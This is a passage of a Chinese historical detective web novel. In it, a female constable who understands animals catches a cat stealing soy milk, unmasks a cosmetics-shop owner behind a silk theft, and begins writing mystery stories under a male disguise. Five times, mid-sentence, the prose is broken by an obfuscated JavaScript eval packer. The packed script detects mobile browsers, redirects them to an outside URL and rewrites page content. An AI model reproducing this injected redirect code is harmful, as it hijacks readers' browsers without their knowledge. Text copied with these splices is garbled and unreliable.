头一个来的是县丞周文焕。五十来岁,胖乎乎一张圆脸,见人就带三分笑,官服穿得板板正正。他自个儿在偏厅等着的时候,还把门边那盆叶子有点打蔫的兰草往窗户底下挪了挪,笑着对站班的年轻衙役说:“张捕快,你的腿脚以前受过伤,站累了就先下去休息会儿再来,不打紧。”看着十足是个和气又体恤人的老先生。 接着是主簿李茂才。瘦得像根竹竿,套着件半旧的青绸袍子,胳肢窝底下永远夹着那本蓝封皮的账簿。他进门先在门槛那儿顿了一脚,眼珠子滴溜溜飞快地把屋里和周县丞扫了一圈,这才缩着肩膀蹭进来,朝周县丞蚊子哼哼似的道了声“大人早”,就赶紧把自己塞进靠墙的椅子,眼神一会儿瞅地,一会儿瞟房梁,好像总在担心屋顶会塌下来。 最后,几乎掐着点儿进来的,是典史郑克礼。三十五六,脸皮白净,胡子修得整整齐齐,一身雨过天青色的绸缎袍子水滑水滑的,腰间那块玉佩看着就值钱。他进来先朝周县丞拱手,又对李主簿点点头,笑得那叫一个温文尔雅,举手投足压根不像个未入流的小官。只是在看到主位还空着的时候,他眼里飞快地掠过一点别的什么,快得让人抓不住。 崔县令和宋师爷一进来,三个人齐刷刷起身。 “都坐吧。”崔县令语气平和,没什么架子,“今儿找几位来,一是幼童案还有些后续的抚恤、文书要办,得辛苦各位。二来呢,”他指了指站在一旁的穆青青,“给诸位引荐一下,这位是穆青青姑娘,往后就是咱们衙门的协理刑名,暂领捕头衔,帮着处理刑案上的事。” 屋里静了那么一刹那。 周县丞脸上的笑立刻又浓了三分,连声道:“穆捕头!真是年轻有为!崔大人慧眼如炬啊!往后有什么需要本人出力的,尽管开口!”话说得漂亮,可仔细一听,全是虚的。 李主簿抬起眼皮飞快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011113|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地瞄了穆青青一眼,马上又耷拉下去,声音细细弱弱的:“女子……当捕头,少见,真是少见……不过,崔大人定了,下官……下官一定配合。”搁在膝盖上的手,不自觉地捏着账簿角搓来搓去。 郑典史笑容没变,甚至还多了点欣赏似的暖意,目光在穆青青身上停了停:“穆捕头看着就沉稳干练。郑某管着刑房的文书案卷,捕头日后查案,但凡需要调阅旧档、核对文书,随时来找我。”话里听着客气,可也把自己那一亩三分地划拉得清清楚楚。 穆青青把他们各色神情都看在眼里,脸上只装出刚进门、啥也不懂的样子,规规矩矩行礼:“民女什么都不懂,往后还要靠三位大人多多指点。” 她这么一放低姿态,周县丞捋着胡子,笑得挺受用;李主簿好像也松了口气;就连那看似精明的郑典史,脸上也挂满了笑意。 【县衙二堂(当前在线:4)】 瓦片:【喵!胖墩墩那个,袖子里藏的酥饼渣掉地上了,可惜,被他用脚给碾进砖缝了!败家!】 橘点点:【喵呜!白脸那个身上的香腻歪死了,跟码头上最气派那艘画舫里的味儿一模一样!】 灰灰:【吱吱!瘦杆子那本子,我三舅姥爷就啃过,说那墨味儿太臭,熏鼠!】 穆青青垂着眼,嘴角忍不住微微弯了一下。这些小家伙整天东家长西家短,说的尽是些鸡零狗碎,可有时候吧,听着还挺乐呵,偶尔还能品出点别的意思来。 任命后不久,崔夫人特意寻了个午后,将她唤到内室,握着她的手,语重心长: “青青,东厢那院子已经收拾出来了,独门独户,清静也便宜你当差。只是有件事需与你说明白。老爷和我的一双儿女,眼下还留在老家由祖母照看。原想着,待老爷在此地彻底理顺政务、站稳脚跟,约莫半年光景,再接他们过来团圆。届时内宅少不了孩童嬉闹,你一个未出阁的姑娘家常居后衙,多有不便。这半年你便在东厢安心住着,也正好慢慢相看合适的外头住处。待你搬出去时,手里也从容些。” 穆青青心下明了,崔夫人确实周到体贴,既是在提醒她如今不宜长居县衙后院,也是给她留出了缓冲和积累的时间。 “夫人考虑得周全,青青感激不尽。” “傻孩子,说什么感激。”崔夫人拍拍她的手,笑容慈和,“你帮了老爷和我大忙,我们只盼你好。小荷那丫头你用着顺手,往后就让她跟着你吧,身契我明日就给你,她也算有个正经着落。” 这又是一份厚重的情谊。小荷虽年幼,却忠心勤快,跟穆青青也合得来。 穆青青郑重谢过。 16. 狸花大盗 搬家那日简单。不过几箱衣物、铺盖和零碎用具。小荷却兴奋得像过节,前前后后张罗,擦洗打扫,对这小院的热爱仿佛胜过穆青青这个主人。厨娘刘婶蒸了满满一笼暄软的豆沙包送来,还塞了一小罐自家腌的脆瓜:“青青姑娘,外头吃食总不及家里干净,值夜回来饿了自己垫补点儿。”小莲也偷空跑来,塞给她一双纳得厚实密实的鞋垫,针脚有些毛糙,却满是心意:“青姐姐,你总在外头跑,鞋底软和些脚不疼。” 这些琐碎的善意,像微暖的炭火,一点点烘热了穆青青在这异世飘零的心。她知道自己并非全然孤独。 搬入东厢院后,捕头的日子正式开启。 尤其这里是每月初领取俸禄,那一两五钱银锞子和一串沉甸甸的铜钱,给了她最实在的安定感,嘴角弯了一天。 当然了,一个小小的丰城县女捕头,公务并非总是惊涛骇浪。邻里口角、小偷小摸、猫狗走失、市井纠纷……这些琐碎才是日常。赵捕头是个粗豪爽直的汉子,起初或因她女子身份和空降略有观望,但几次共事下来,见她处事沉稳、观察细致、且从不抢功冒进,态度便日益亲和起来。 这日点卯后无事,赵捕头摸着下巴提议:“穆捕头,闲着也是闲着,考校一下如何?眼下有两桩小事,一桩是南门豆腐坊老李头非说他家闹鬼,每天寅时豆浆必少;一桩是东街两家铺子为招牌滴水吵上了。咱们各领一桩,看谁先弄明白,输家请吃王婆家的羊肉面,管饱!” 穆青青见这两个案子有趣,又知赵捕头是有意让自己尽快熟悉县城民情,自然欣然应允:“好。赵捕头先选吧。” “嘿,俺老赵去调停那吵架的,这个俺熟!”赵捕头一挥手,带着一队四五个人就大步流星走了。 穆青青便带着剩下的三四个衙役去了南门豆腐坊。 老李头苦着一张脸,见到女捕头更是激动大于惊讶:“穆捕头!您可得给小人做主!真不是小人胡思乱想,那豆浆,这几天每天寅时三刻,准时要少一大勺!门窗都栓得好好的,不是鬼是啥?我老婆非说我梦游偷喝,这都吵了好几架了!” 穆青青没急着下结论。她细细打量这间临街小店。前堂卖豆腐,后院磨豆煮浆,灶间连着卧房,一扇老旧木窗对着后巷,窗纸有几处破损,用旧纸糊着。灶台边放着盛放头道豆浆的大木桶,盖子虚掩,温热的豆腥气袅袅飘出。 “每日都是寅时三刻?分毫不差?” “是是是!比日头还准!我那会儿在前堂收拾,老婆子在里屋和面,就一转身的功夫!” 穆青青蹲下身,目光扫过灶台角落,确实没发现脚印或是衣物布料等线索,但职业习惯让穆青青比一般的捕快更有耐心,她仔细翻看了一遍,在柴灰与湿痕之间发现了几根极细的、灰褐色的毛发。她拈起一根,对着门外天光细看——比鼠毛粗硬,尖端分叉。 “李老爹,附近可有野猫?” “猫是有几只,可猫偷鱼偷肉,哪会偷豆浆?再说,窗关着呢!” 寅时也就是现代的凌晨3点到5点。 穆青青不再多言,只道:“今夜我留下来看看,您和家人不用管我。” 是夜,月隐星稀。穆青青藏身于磨房柴堆后的阴影里,身上盖了块旧麻袋。之前跟她来查案的几个捕快已经被她打发回去了。 寅时初,老李头夫妇窸窣起身,磨盘转动声、柴火噼啪声、低声交谈断续传来。寅时三刻将至,灶间果然传来极轻微的“吱呀”声—— 借着灶膛微弱的余火光晕,只见那破损的窗纸处,悄悄探进一只毛茸茸的爪子!爪子精准地勾住木桶盖边缘,灵巧地向上一掀,盖子滑开一掌宽的缝隙。紧接着,一颗灰褐色带虎斑纹的小脑袋挤了进来,绿莹莹的猫眼在黑暗中闪着幽光。那半大狸花猫熟练地将头探入桶中,“吧嗒吧嗒”地舔舐起来,尾巴尖惬意地轻晃。 穆青青忍住笑意,轻咳一声。 “喵——!”狸花猫吓得浑身毛炸开,转身欲逃,慌乱中后腿蹬翻了窗边的破簸箕,“哐当”一声! 老李头举着油灯冲进来,见此情景,目瞪口呆:“这……这猫成精了?!” 穆青青从阴影中走出,指着窗纸破损处:“是从这儿伸爪子掀的盖子。您家这头道豆浆煮得浓,豆香里带着微甜,怕是香味儿把它招来的。只要将窗纸补牢,夜间用重物压住桶盖,便无事了。” 老李头千恩万谢,硬塞给她两块还温热的豆腐。 回衙路上,穆青青的脑海中光幕异常活跃: 【南门夜话(当前在线:5)】 狸花大盗:【喵呜!气死本喵了!蹲了半个月的点!那豆浆明明就是给本喵留的!哼!】 白爪前辈:【喵~早告诉你别总盯着一家。西街肉铺后巷的泔水桶,有时能捞到油渣!】 麻雀目击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011114|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者:【啾!那女两脚兽真的逮住这笨猫了?】 灰灰表亲:【吱!豆腐坊墙角的洞是我二舅姥爷家!老李头老婆疑心是老李头偷喝,两人吵得差点把磨盘推井里去!】 穆青青不禁莞尔。回到衙门,赵捕头也已回来,正用大手抹着嘴边的油光,嘴里吹嘘着:“那两家被我各打五十大板,让他们把招牌都往里收三寸,完事!哟,穆捕头这……拎的豆腐?你……连鬼都能抓住?” 听罢经过,赵捕头哈哈大笑,一拍大腿:“得!这顿羊肉面俺请得心服口服!走走走,王婆面馆,今儿给你多加一勺辣子!” 热气腾腾的羊肉面端上来,汤色奶白,肉片厚实,撒着翠绿的芫荽。 穆青青馋的口水直流,迫不及待地先喝了一口汤,啧,真鲜啦!比她以前在警局旁经常吃的那家羊肉粉更香! 两人吃着面,聊起丰城街巷趣闻、衙门人情往来,关系在氤氲的热气中又拉近许多。赵捕头也渐渐会说些更深的话:“郑典史那人……面子上过得去就行。他手虽然伸得长,可咱们崔大人如今也不是刚来的时候了。你只管凭本事办案,该硬气时别怵。” 一晃眼,丰城就入了秋。河风开始带着凉意,卷起街角落叶打着旋儿。 穆青青在县衙当差已有月余,每月初一那一两五钱银并一串铜钱入手时的踏实感,渐渐被另一个念头替代:她得想法子多攒些钱。 在东厢小院住得越久,就越觉得崔夫人的安排贴心。 东厢小院清静,小荷勤快,厨娘刘婶常留热食,墙头那几只猫儿也认了她这个固定投喂点。日子安稳得像一池静水, 可穆青青知道,这安稳是崔家给的,她得有自己的根基。半年后搬出去,租房、置物、寻亲盘缠,还有万一的万一——她得给自己留条后路。 可在这古代,兼职并不是那么好找。 经商第一个被穆青青排除掉,不说商人地位低下这个现实,单从“官商勾结”这一点,县衙捕头就不应该参与经商,得避嫌。 农业就更别说了,那个领域完全是穆青青的盲区。穆青青在现代的时候也曾经种过什么含羞草呀,多肉呀,栀子花呀,甚至是葱蒜,事实证明,没有一种植物能在她手里活下来。。。 最后穆青青不能免俗的将目光锁定在写文上,不,现在应该叫写话本。 这个念头在她脑海中盘旋数日,渐渐成形。 17. 话本 写话本时间自由,还不用抛头露面引人注意,听说润笔费还多。无论怎么看,都很适合如今不宜高调的穆青青。 不过写话本也有些需要注意的事项。 伪装需精心一些,若真想长期以此为业,得有更稳妥的身份。她在丰城无亲无故,身世还成谜,扮作男子是最好的选择,无论是出于自身安全考虑,还是书肆伙计、掌柜,乃至读者,对男作者的接纳度总归高些。 还有就是,如果不想暴露身份的话,如何收取润笔费也是个问题。 这日休沐,穆青青去了西市布庄。 “小哥,有厚实耐磨的粗麻布吗?颜色要深,青灰或褐色的。”她压低声线,让嗓音听起来沙哑些。 伙计打量她一眼——是个面生的少年郎,身形瘦削,穿着半旧布衣,背着个旧书箱,像是赶考路上盘缠用尽的书生。这类人在码头、书肆附近常见,伙计也不多问,扯出几匹布:“这些如何?结实,耐脏,价钱也公道。” 穆青青选了青灰和深褐两色,各要了一丈。又买了些蓬松的棉絮——塞在肩肘、腰腹处,能改变身形轮廓。最后添了顶半旧的范阳笠,帽檐宽大,垂下薄纱,既挡风沙又遮面容。 回到东厢院,她关上门,让小荷在外守着。 铜镜里映出一张清秀但尚显稚嫩的脸。穆青青用深色脂粉在颧骨、下颌处淡淡扫过,让面部轮廓更硬朗。眉毛用烧过的柳枝稍稍描粗,唇色压淡。发髻打散,学男子样式束成髻,用布巾裹住,再戴上范阳笠——薄纱垂下,面容模糊。 她试了试嗓音,压到中低音区,带点沙哑:“这位掌柜,小生有稿投递。” 又清了清嗓子,换一种更急促些的语调:“劳驾,前次投稿可有回音?” 小荷在门外听着,忍不住笑:“姑娘,您这声音变得真像!” 穆青青打开门,小荷“呀”了一声。眼前人肩背厚实了些,步伐沉稳,若非早知道是自家姑娘,乍一看真会认作是个清瘦的少年书生。 “如何?”穆青青问。 “像!就是……就是身量还是矮了些。”小荷老实道。 “无妨,少年郎本就不都高大。”穆青青摘下笠帽,“此事莫对旁人提起。” “姑娘放心!”小荷用力点头。 身份有了,接下来是内容。 如今市面上最吃香的话本还是千金小姐与穷书生,或是风流王爷与农家女之类的男欢女爱故事。 不仅是小莲小荷她们这些小丫鬟喜欢看,上至崔夫人,下到厨娘刘婶,她们全都爱看这些话本。 崔夫人就不用多说了,看她的为人处世,性格品貌就知道肯定饱读诗书,至于她看得是哪种类型的话本,穆青青就不得而知了。 刘婶不识字,可小荷小莲她们认字呀,县衙后院也没多少女仆人,三人忙完活计后就会凑到一起,小何小莲轮流读话本,刘婶负责边听边和她们讨论,有时候还争得面红耳赤的,煞是有趣。 可惜,穆青青的性子本就清冷,又没谈过恋爱,从事的职业还是理性第一位的刑警,这种为爱付出一切的小说,她还真不爱看,更不会写。 穆青青想写侦破类型的话本。 无论是在现代还是如今的大曜王朝,穆青青都是从事的刑侦工作,这就意味着她有数之不尽的相关灵感。 而且过去的这几个月,穆青青明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17012984|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉到古代百姓的警惕意识非常淡薄,再加上绝大多数人都不识字,所以很多悲剧就降临在了本就过得艰难的他们的头上。 普法扫盲,迫在眉睫啊。 不过,穆青青肯定不能写丰城的案子——这是铁律。寇晟虽已离城,但“白面郎”未落网,“三爷”身份成谜,五皇子下落不明,任何与丰城相关的笔墨都可能引火烧身。 她也不能总是化用现代的真实案例或者故事,毕竟世殊事易,容易水土不服。 穆青青她需要“外地”的故事。 茶馆是个好去处。南来北往的行商歇脚时,常天南海北地侃。 闲暇时候,穆青青就换了男装,坐在角落,点一壶粗茶能听半晌。 “……要说奇事,还得数江州那桩‘鬼娶亲’。”一个贩绸缎的商人摇着扇子,“半夜轿子穿街过巷,唢呐吹得凄凄惨惨,可抬轿的脚不沾地!第二日,街边总会少个姑娘,门窗紧闭,人就这么没了!” 同桌人听得入神。穆青青垂眸喝茶。 这故事听着玄乎,但若细想,多半是歹人装神弄鬼,利用迷信恐惧行拐卖之事。 码头老船工的故事更质朴些。 “……早年跑船,见过一家黑店。专挑孤身客商,在饭菜里下蒙汗药,人倒了,财物卷走,尸首往江里一抛,神不知鬼不觉。后来有个走镖的师傅,吃饭前必用银针试毒,这才救了全船人。” 还有药铺伙计闲聊时提到的“假药案”——用面粉团子裹层糖衣,充作名贵丸药;或是将廉价草药染色晒干,冒充灵芝人参。 这些零碎见闻,在穆青青脑中渐渐拼凑成一个个完整的故事框架。她开始动笔。 18. 第一个故事 第一个故事,她设定在“江南某水乡古镇”。镇上首富家的传家宝——一枚羊脂玉佩,在守备森严的书房内不翼而飞。门窗紧闭,无破坏痕迹,值夜家丁坚称整夜无人进出。镇上传言是“狐仙借宝”。 穆青青笔下的主角,是个游历至此的落魄书生。他细查现场:书房临水,窗外荷塘;窗棂上有极细的、沾着水渍的丝线痕迹;家丁那夜曾打盹片刻,醒来见窗外白影一闪;玉佩失窃前三日,荷塘曾有园丁清理枯叶。 故事层层推进:书生发现丝线是特制的钓鱼线,涂了夜光粉,在黑暗中隐约可见;白影是有人用竹竿撑起白衣,从对岸操控,制造“鬼影”;荷塘清理时,有人趁机在水下布置了机关;玉佩其实未被带走,而是用鱼线系着,沉在窗下水缸底部的淤泥中——盗贼本打算风声过后再取。 破案关键在一处细节:书生注意到窗台外沿有一小块青苔被蹭掉,痕迹新鲜,但方向是从外向里——有人从外面开窗。而家丁坚称窗从内闩死。书生细查窗闩,发现上面沾着极少的蜂蜡。最终揭穿:盗贼提前用蜂蜡固定窗闩,制造“内闩”假象;行窃时从外推开窗,蜡裂,但家丁检查时蜡已融化,只留残迹。 故事结尾,书生指出真凶是富商之侄——他赌债缠身,又熟知家中布局,勾结外贼,演了这出“狐仙戏”。破案过程重推理、察细节,无神怪之力,只凭人心与智慧。 穆青青写得很慢,每处细节都反复推敲是否合乎古代环境。完稿后,她用左手誊抄——字迹歪斜稚拙,像初学字的少年所写。装入空白信封,封口。 接下来的难题是:如何交稿,又如何收钱? 马甲,必须得捂好。 想想当初……不对,是未来……好像也不对,迅哥儿的那些马甲可是替他赚了好几条命。 她想过找码头代写书信的摊子合作,但她根本不信任那些人。最终决定还是彻底匿名,直接将稿子投入书肆中,若被采用,稿费暂存书肆,她再凭信物去取。信物需独特、难仿,又不起眼。 她拆了一枚旧铜钱,磨薄边缘,用细针在内沿刻了道极浅的波浪纹——不细看看不出,手摸有细微凹凸。将铜钱一分为二,一半随稿附上,写明“若可用,稿费暂存贵肆,凭另半钱来取”。另一半自己收好。 这法子仍有风险——书肆若私吞稿费,她无计可施。但初次试探,她愿冒这点险。 一切准备妥当。这日黄昏,细雨如丝。 穆青青换上男装,肩肘垫了棉絮,范阳笠垂纱。将信封和半枚铜钱揣入怀中,袖口藏了防身匕首,悄声出了东厢院。 雨幕成了最好的掩护。街道行人匆匆,无人留意这个不起眼的“少年”。她绕到书肆后巷,从侧门接近——那里有个专收稿件的木箱,箱口有缝,投入即可。 左右无人。她快速取出信封,塞入箱缝。指尖在粗糙木面上停留一瞬,随即收回,转身没入雨中。 走出半条街,心跳才渐缓。她拐进茶馆,在临窗位置坐下,要了壶茶,状似避雨,目光却透过雨帘,落向书肆方向。 半个时辰,无人异常。 她付了茶钱,起身离开。细雨打湿了笠帽薄纱,街面泛起蒙蒙水光。路过豆腐坊时,老李头正收摊,看见她,笑着招呼:“小哥,下雨天还出门?” 穆青青压低声:“买点纸笔。” 声音混在雨声里,老李头未辨出是谁,只当是寻常书生,点点头,继续收拾。 回到东厢院,小荷已备好热水。穆青青卸下伪装,擦干头发,坐在窗边出神。投稿如投石入井,能否激起涟漪,全看天意。但她不急——若此次不成,再试便是。眼下,她还有衙门的事要办。 这日晨起点卯后,赵捕头摸着下巴:“穆捕头,东街绸缎庄报失窃,丢了三匹上好的杭绸。郑典史那边催着结案,说损失不大,尽快了事。你怎么看?” 穆青青听出他话里有话:“赵捕头觉得不妥?” “倒不是不妥,”赵捕头压低声音,“只是郑典史催得太急了些。往常这类小案,他可从不过问。” 穆青青心中微动。郑克礼此人,面上一团和气,实则界限分明。他主动过问一桩普通窃案,确实反常。 “那咱们先去现场看看?” 两人到了东街绸缎庄。掌柜是个精瘦中年男人,苦着脸道:“就昨儿打烊后丢的!库房门锁得好好的,今早开门,那三匹绸子就不见了!那可是给城南苏家小姐备的嫁衣料子,这下可怎么交代!” 库房在铺子后院,独门独窗,门锁完好,窗棂也无破坏痕迹。地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016152|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有少许灰尘,但脚印杂乱,分不清新旧。 穆青青细查门锁——铜锁,钥匙只有掌柜和账房各一把。两人昨夜都在家,有街坊作证。 “窗子从内闩死了,”掌柜指着木窗,“您瞧,闩子还好好插着。” 确实。 但穆青青注意到窗纸——右下角有个不起眼的小破洞,边缘整齐,像是用锐物刺破。 “这洞一直有吗?” 掌柜凑近看了看:“哎?前儿好像还没有……” 穆青青蹲下身,从破洞位置向外看——窗外是条窄巷,堆着杂物。她走出库房,绕到窗外窄巷。巷子泥地潮湿,有几处模糊的鞋印,大小似女子或少年。 墙根处,她捡到一小截苇管——中空,一头削尖,管壁内侧沾着些微白色粉末。 她将苇管小心收起。回到库房,问掌柜:“丢的绸子是什么花色?” “一匹莲青,一匹杏黄,一匹海棠红,都是鲜亮颜色。” 鲜亮颜色……不易隐藏。若盗贼要运走,必得趁夜,且需包裹严实。 穆青青与赵捕头在铺子周围查看。绸缎庄隔壁是家脂粉铺,再隔壁是茶楼。茶楼伙计说昨夜亥时左右,好像听见隔壁巷子有轻微响动,但雨声大,听不真切。 雨?穆青青想起昨夜确实下了阵急雨。她重回窄巷,细看那些鞋印——印痕边缘被雨水洇得模糊,但依稀能辨出鞋底纹路:是常见的千层底,但右脚印前掌处磨损较重,走路可能略有跛态或习惯。 正查看间,脑海中光幕忽然跳出: 【东街巷议(当前在线:4)】 花狸:【喵!昨晚有个两脚兽背个大包袱经过这,不认真看路,差点踩到我的尾巴!】 灰鸽子:【咕!那个两脚兽很坏,扔包袱砸我,差点就砸到我了。】 麻雀啾:【啾!很臭,他们都很臭。】 包袱?差点砸到鸽子?很臭? 穆青青目光往上移,循着巷子两边的墙面查看,很快,她就发现有一处墙面上的尘土苔藓与别处明显不同。 可是,那是一家脂粉铺的后墙,脂粉铺不但不臭,还很香。 穆青青仔细一想,心中有了成算。 她跟赵捕头打了声招呼后,就径直去了胭脂铺。 19. 郑克礼 铺子门面不大,老板娘是个三十来岁的妇人,姓徐,脸上总带着笑。见官差来,她殷勤招呼:“赵捕头、穆捕头,什么风把您二位吹来了?可是要买些脂粉?新到的茉莉香粉,最衬姑娘家!” 穆青青笑笑:“徐老板娘客气。我们来查绸缎庄失窃案,想问问昨夜可听见什么动静?” 徐老板娘神色如常:“哎哟,昨夜雨大,我睡得沉,什么都没听见。不过……”她顿了顿,“前儿倒是看见个生面孔在巷子口转悠,是个少年郎,看了几眼就走了。” “什么时候?” “就前日下午,申时左右。” 时间对得上。穆青青状似随意地问:“老板娘这铺子生意不错?香味都飘到巷子里了。” 徐老板娘笑得更欢:“托您的福,还过得去!我这香粉都是自己调的,香味持久,街坊们都爱买。” 穆青青点点头,与赵捕头告辞。 走出铺子,她低声道:“赵捕头,派两个人暗中盯着脂粉铺后门。再查查徐老板娘可有亲戚或伙计,尤其注意腿脚不便的。” 赵捕头会意:“你怀疑是她?” “只是猜测。苇管里的白粉,虽然被雨水冲淡了,但闻着隐约有脂粉味儿;窗外的鞋印前掌磨损比普通人严重,要极有可能是跛足。”穆青青道,“但若真是她,赃物可能已转移。得尽快。” 赵捕头动作利落,不到两个时辰便有了消息。 “徐老板娘有个侄子,十六岁,小时候摔伤了腿,走路微跛。前日从邻县来看她,昨晚留宿铺子后院,今早天未亮就走了。”赵捕头道,“已派人往邻县方向追了。” “赃物呢?” “还在查。但……”赵捕头压低声音,“郑典史那边又催了,说既然有了线索,就快些结案,别耽误商户经营。” 又是郑克礼。 穆青青蹙眉:“赵捕头,我想去脂粉铺再看看。” 二次登门,徐老板娘笑容有些勉强:“穆捕头还有事?” “想再问问老板娘那侄子的详情。”穆青青边说边打量铺子。铺面不大,后头连着个小院,院墙不高,隔壁就是绸缎庄库房所在的窄巷。 她目光落在柜台上——那儿摆着几盒打开的香粉,旁边放着几支细竹管,是用来试香的。 竹管粗细、长短,与她捡到的那截苇管极其相似。 穆青青拿起一支:“老板娘,这竹管是?” “哦,那是给客人试香用的。挑一点粉,吹一吹,看颜色和香气。”徐老板娘解释。 “能借我一支看看吗?” “您随意。” 穆青青将竹管凑近鼻尖——除了香粉味,还有一丝极淡的、类似药草的苦涩气。她不动声色,放回原处。 “老板娘调香手艺真好,连苇管都能做得这么精巧。” 徐老板娘脸色微变:“穆捕头说笑了,那就是普通竹管……” “是吗?”穆青青从袖中取出那截苇管,轻轻放在柜台上,“那这截沾了香粉和蒙汗药末的苇管,又是哪来的?” 铺子里空气一凝。 徐老板娘强笑:“这、这是什么意思?我不明白……” “昨夜亥时,你用这苇管从窗纸破洞吹入蒙汗药粉,迷晕可能醒着的守夜人。你侄子从外墙翻入,用备用钥匙打开库房门——钥匙是你数月前在隔壁绸缎庄门前捡到后暗中拓印的。他取走绸缎,从窗口递出,你在外接应。赃物此刻应该要么还在你铺子某处,未及运走;要么就在你那跛足的侄儿手中。”穆青青语速平缓,却字字清晰,“我说得对吗,徐老板娘?” 昨日穆青青心里有了成算后,又特意回去绸缎铺仔细询问了掌柜的。 掌柜的在她多次问话的引导下才终于想起来,数月前的某个晚上,他醉酒回家钥匙不小心掉在铺子门前的地上了,不过第二天大早他发现钥匙不见后,天未亮就跑回绸缎铺寻找,很快就在门前的地上找着钥匙了,当时左邻右舍的店铺都还没开门,街上也没有任何一个行人。 之后绸缎铺一直没有出事,掌柜的也就忘记了这事儿。 徐老板娘脸色煞白,后退一步,撞在货架上,瓶瓶罐罐哐当作响。 赵捕头适时带人围住铺子后院。一番搜查,在脂粉铺地窖的废料桶底,找到了用油布裹着的三匹绸缎——颜色鲜亮,正是失窃之物。 人赃并获。徐老板娘瘫坐在地,泣不成声:“我、我只是一时糊涂……那绸子太值钱……我娘家看病要钱……” 案子破了。赵捕头将人犯带回衙门,穆青青落在后面。她看向绸缎庄隔壁的茶楼二楼——方才似乎有道人影在窗后一闪而过。 是郑克礼吗?他为何如此关注这桩小案?是单纯想快结案卖人情,还是……另有缘故? 穆青青收回目光。不管如何,案子已破,郑克礼的“催促”倒显得多余了。 回到县衙,郑克礼果然在二堂。见他们回来,他笑容温和:“赵捕头、穆捕头辛苦了,案子这么快就破了,果然能干。” “郑典史过奖,分内之事。”穆青青垂眸。 “只是,”郑克礼话锋一转,“下次若有类似案子,还望两位先知会刑房一声。毕竟文书归档、律例援引,都需刑房经手。免得像今日,我这边还不知进展,外头已传得沸沸扬扬。” 话里带刺。赵捕头脸色微沉,穆青青却神色如常:“郑典史提醒得是,下回定当注意。” 郑克礼深深看她一眼,含笑点头,转身离去。 赵捕头“呸”了一声:“摆什么架子!破案时不见人,摘桃子时倒来得快!” 穆青青拍拍他肩:“赵捕头息怒。咱们只管破案,其他的,随他去。” 话虽如此,她心中却记下了——郑克礼对她的态度,从最初的客气打量,到如今隐隐的提防与制衡,变化微妙。此人,须得多留个心眼。 七日后,休沐。 穆青青再次换上男装,去了书肆。这次她未投新稿,只作寻常顾客,在书架间徘徊。 柜台后,掌柜正与伙计低声说话:“……那篇‘狐仙窃玉’写得倒是巧,虽字迹稚嫩,但推理严丝合缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021403|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。东家说可刊在下月《奇案录》里,稿费按中等给。” 伙计问:“那投稿人留的信物……” “半枚铜钱,刻了波浪纹。东家说若有人持另半枚来,便给稿费。”掌柜道,“也不知是哪位书生,竟想出这等法子。” 穆青青心下一松——成了。 她不动声色,挑了本杂记,付钱离开。走出书肆,秋阳正好,落在肩头暖洋洋的。第一步,算是迈出去了。 接下来几日,她白日当差,夜里挑灯写稿。第二个故事,她写“北地边镇”一桩“连环毒杀案”。镇上富户接连暴毙,死状相似,皆口吐黑血,指甲发青。郎中断为“砒霜中毒”,但死者互无瓜葛,家中饮食也未见异常。 